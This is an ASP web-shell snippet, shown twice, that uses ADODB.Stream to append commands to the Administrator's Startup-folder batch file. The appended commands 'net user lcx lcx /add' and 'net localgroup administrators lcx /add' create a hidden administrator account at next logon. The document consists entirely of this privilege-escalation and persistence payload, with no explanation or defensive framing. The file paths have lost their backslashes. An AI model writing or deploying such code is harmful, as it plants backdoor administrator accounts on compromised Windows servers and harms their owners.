<%

on error resume next

dim lcx

set lcx=server.CreateObject("Adodb.Stream")

lcx.Open

lcx.Type=2

lcx.CharSet="gb2312"

lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"

lcx.Position=lcx.Size

lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"

lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2

lcx.Close

set lcx=nothing

%> <%

on error resume next

dim lcx

set lcx=server.CreateObject("Adodb.Stream")

lcx.Open

lcx.Type=2

lcx.CharSet="gb2312"

lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat"

lcx.Position=lcx.Size

lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"

lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2

lcx.Close

set lcx=nothing

%>